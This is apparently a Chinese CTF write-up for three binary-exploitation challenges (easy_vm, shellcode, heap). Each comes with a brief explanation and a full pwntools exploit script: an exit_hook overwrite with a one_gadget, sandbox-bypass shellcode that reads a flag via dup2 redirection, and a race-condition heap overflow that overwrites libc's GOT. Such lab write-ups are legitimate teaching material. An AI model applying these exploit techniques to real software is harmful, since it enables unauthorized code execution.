easy_vm
一道主要是对指针和exit_hook运用的题目,给出了几个运算方法,只能在一次输入后get shell
步骤如下
one_gadget需要free的指针减0x39C9FB
exit_hook需要free的指针加0x2302C0
1.qword_201038 = *qword_201040 2 (38赋值libc)
2.qword_201038 -= *(choice + 1) 7,0x39C9FB (38存onegadget)
3.*qword_201040 = qword_201038 1 (40内地址存onegadget)
5.qword_201038 += *(choice + 1) 6,0x39C9FB + 0x2302C0 (38内存exit_hook地址)
6.*qword_201038 = *qword_201040 3 (exit_hook内填one_gadget)2
from pwn import *
from ctypes import *
context(log_level = 'debug', arch = 'amd64', os = 'linux')
p= process('/home/hacker/Desktop/easy_vm/pwn' )
#p = remote("47.108.165.60",30333)
payload = p64(2) + p64(7) + p64(0x39C9FB - 0x5d - 0xbaffa) + p64(1) + p64(6)
payload += p64(0x39C9FB -0x5d -0xbaffa + 0x2302C0) + p64(3)
gdb.attach(p)
pause()
p.sendlineafter("Inputs your code:",payload)
p.interactive()
shellcode
由于正常情况,沙箱需要过掉很多检测才会有初始化,所以我这里patch掉了exit这个,它就无论如何都可以执行到沙箱初始化函数了。
这里可以看出,write的文件描述符需要大于等于2,而read的需要小于等于2,这里也就是为什么要用到重定向的原因了。
脚本如下,第一段shellcode是为了执行一个read,然后写一段长的shellcode来绕过检查。然后因为沙箱,所以使用重定向的方法来orw。
from pwn import *
context.clear(arch='amd64', os='linux', log_level='debug')
#sh = remote('tcp.cloud.dasctf.com', 23583)
sh = process('/home/hacker/Desktop/shellcode/shellcode' )
sh.sendafter(b'[2] Input: (ye / no)\n', asm('syscall'))
gdb.attach(sh)
pause()
sh.sendafter(b'[5] ======== Input Your P0P Code ========\n', asm(
'''
push rax
pop rsi
push rbx
pop rax
push rbx
pop rdi
pop rcx
pop rcx
pop rsp
pop rbp
push rbp
push rbp
push rbp
push rbp
push rbp
pop rdx
''').ljust(17, b'Y'))
pause()
payload = '\x90'*0x12
shellcode = ''
shellcode += shellcraft.open('./flag')
shellcode += shellcraft.dup2(3,2)
shellcode += shellcraft.read(2,'rsp',0x50)
shellcode += shellcraft.dup2(1,3)
shellcode += shellcraft.write(3,'rsp',0x50)
shellcode += shellcraft.exit(0)
payload = payload + asm(shellcode)
sh.send(payload)
sh.interactive()
heap
libc-got
先来看知识点,进入puts的调用,在full relro的情况下进入strlen的plt表
我们看一下call之后的情况
可以看出程序到了plt表内会进入.got.plt,我们再看看.got.plt
这个时候我们只需要将其改写成one-gadget即可
heap
主函数,每执行一次菜单创建一个线程
edit函数,漏洞出现sleep函数,这里是先会得到写的地址和大小再sleep,所以这样的话就出现了竞争。
每个paper有一个0x20的结构体来管理
struct paper{
void *heap;
int len;
}
如下脚本,线程竞争可造成堆溢出,控制结构体从而达到任意写,通过改偏移得到main_arena的值得到libc(这个可以通过search -p 引用来找找有没有libc在我们可以写到的地方,从而开始泄露),再通过打puts的libc_got为ogg即可
from pwn import *
context(log_level = 'debug', arch = 'amd64', os = 'linux')
p= process('./heap')
def add(content):
payload = str(1) + " " + content.decode('utf-8')
p.sendline(payload)
def show(idx):
payload = str(2) + ' ' + str(idx)
p.sendline(payload)
def edit(idx,content):
payload = str(3) + ' ' + str(idx) + ":" + content.decode('latin-1', errors='replace')
p.sendline(payload)
def delete(idx):
payload = str(4) + ' ' + str(idx)
p.sendline(payload)
add(b'a' * 0x63) #0
add(b'a' * 0x58) #1
add(b'a' * 0x58) #2
delete(1)
edit(0, b'b' * 0x60 + p16(0x8a0))
delete(0)
add(b'a' * 0x58) #control 2's construct
sleep(1)
show(2)
p.recvuntil('paper content: ')
main_arena = u64(p.recv(6).ljust(8,b'\x00'))
print("main_aren:",hex(main_arena))
main_arena_offset = 2202752
libc = main_arena - main_arena_offset
print("libc",hex(libc))
environ = libc + 2232832
strlen_plt_got_offset = 2199704
strlen_plt_got = libc + strlen_plt_got_offset
system_offset = 331104
system = libc + system_offset
one_gadget = libc + 0xebcf1
add(b'a' * 0x68)#1
add(b'a' * 0x68)#3
add(b'a' * 0x58)#4
add(b'a' * 0x58)#5
delete(4)
edit(3,b'b'*0x60 + p64(strlen_plt_got))
delete(3)
add(b'a'*0x58)
sleep(1)
#print("environ:",hex(environ)) #the last bit of environ is \x00
#show(5)
gdb.attach(p)
pause()
print("one_gadget:",hex(one_gadget))
edit(5,p64(one_gadget))
p.interactive()